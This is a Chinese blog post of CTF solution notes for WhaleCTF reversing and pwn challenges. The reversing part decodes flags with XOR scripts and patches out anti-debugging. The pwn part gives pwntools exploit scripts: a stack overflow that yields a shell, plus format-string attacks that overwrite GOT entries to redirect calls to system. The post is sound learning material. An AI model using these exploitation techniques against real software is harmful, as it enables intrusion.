menu Alkaid #二进制初学者 / 网络安全 / 大龄CTF退役选手
WhaleCTF 二进制题目解题笔记
385 浏览 | 2019-03-09 | 分类:心路历程,Reverse,Linux,CTF,Python | 标签:感悟,CTF,汇编

网址:http://whalectf.xin/challenges

RE

0x01 PE格式

flag格式为:BJWXB_CTF{[块数目的值]-[文件时间戳值]-[文件入口点地址]-[文件信息标识]}

考察PE结构,打开CFF Explorer:

节数即为块数,时间日期戳就在下方,文件信息标识为特征,入口处在可选头里。

 

0x02 Warmup

使用IDA打开目标文件,找到关键字符串:

可以看出,是一段简单的异或,将flag每一位和0xe进行异或操作:

解题脚本为:

a='LDYVLQMZHuY:|cQ[^Qyo|cQ{~QYO\CQ[^/s'
flag=''
for i in range(len(a)):
	flag+=chr(ord(a[i])^0xe)
print flag

 

0x03 app-release

一道安卓逆向,用Androidkiller打开,可以看到java源码:

可以看到和上图一样都是异或,这次是和0x12进行按位异或,脚本如下:

a='PXEJPMQFTiS|v`\\"#vMDw`KMA3_b~w3o' 
flag=''
for i in range(len(a)): 
	flag+=chr(ord(a[i])^0x12)
print flag

 

0x04 r100(defcamp)

使用IDA打开,发现有ptrace函数,ptrace会在什么时候出现呢?在执行系统调用之前,内核会先检查当前进程是否处于被“跟踪”(traced)的状态。如果是的话,内核暂停当前进程并将控制权交给跟踪进程,使跟踪进程得以察看或者修改被跟踪进程的寄存器。直接将ptrace给nop掉,在关键函数中发现有花指令,直接无视:

直接看汇编有点难受,放到gdb里动调一下,发现逻辑为总共三组字符串,每组的第0,2,4,6个的ASCII值减一后组合在一起即为flag

v3="Dufhbmf"
v4="pG`imos"
v5="ewUglpt"

flag=''

for i in range(0,7,2):
	s=chr(ord(v3[i])-1)+chr(ord(v4[i])-1)+chr(ord(v5[i])-1)
	flag+=s
print flag

 

0x05 逆向练习

放到IDA看下程序流程,发现关键加密:

解出前17字符的flag,在和1024}拼接起来就是完整的flag,脚本如下:

a='sKfxEeft}f{gyrYgthtyhifsjei53UUrrr_t2cdsef66246087138\0087138'
b=[1,4,14,10,5,36,23,42,13,19,28,13,27,39,48,41,42,26,20,59,4,0]

flag=''
for i in range(17):
	flag+=a[b[i]]
print flag+'1024}'

0x07 rev2

用IDA打开找到关键函数

显而易见,sub_401000就是对已有字符串的操作函数,题目没有输入点,flag被写入了内存,直接上OD动态调试,关键函数是在int3后面,所以必须先把int3 nop 掉,再f7进入到函数内部,在循环结束后可以看到EBX寄存器中的地址中就是完整flag:

 

PWN

0x01 pwn-100

nc bamboofox.cs.nctu.edu.tw 22001
FLAG 在 /home/ctf 底下

看下保护,全关:

用IDA打开程序,看到很明显的溢出,以及利用点:

我们只需要将变量s覆盖掉v5,并且将v5的值控制为0xABCD1234就能得到shell,于是脚本如下:

from pwn import *

p=remote('bamboofox.cs.nctu.edu.tw',22001)

p.sendline('a'*40+p32(0xABCD1234))

p.interactive()

 

0x02 pwn-200

nc bamboofox.cs.nctu.edu.tw 22002
FLAG 在 /home/ctf 底下

看下保护,开了栈保护和堆栈不可执行:

用IDA打开程序,看到很明显的格式化字符串漏洞和可利用的后门函数:

利用格式化字符串漏洞修改got表,脚本如下:

from pwn import *
p=remote('bamboofox.cs.nctu.edu.tw',22002)
elf=ELF('./binary_200')

sys_addr=0x0804854D

payload = fmtstr_payload(5, {elf.got["gets"]:sys_addr})

p.sendline(payload)

print p.recv()

p.interactive()

0x03 pwn-300

nc bamboofox.cs.nctu.edu.tw 22003
FLAG 在 /home/ctf 底下

看下保护,和上题一样:

扔到IDA里,看到两个printf格式化字符漏洞:

这次没有直接可以用的后门了,但是plt表里有system函数,可以通过直接把got表修改的方式调用system函数,但是这时候问题来了,缺少/bin/sh参数,于是思考可以在第二个fget函数这里将/bin/sh压到栈上,之后printf的got表改为system函数地址,正好符合将参数入栈,调用函数的函数调用约定,于是脚本如下:

from pwn import *

p=remote('bamboofox.cs.nctu.edu.tw',22003)
elf=ELF('./binary_300')

sys_addr=0x08048410


payload=fmtstr_payload(7,{elf.got["printf"]:sys_addr})

p.sendline(payload)

p.interactive()

 

 

 

 

 

 

温柔正确的人总是难以生存,因为这世界既不温柔,也不正确

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!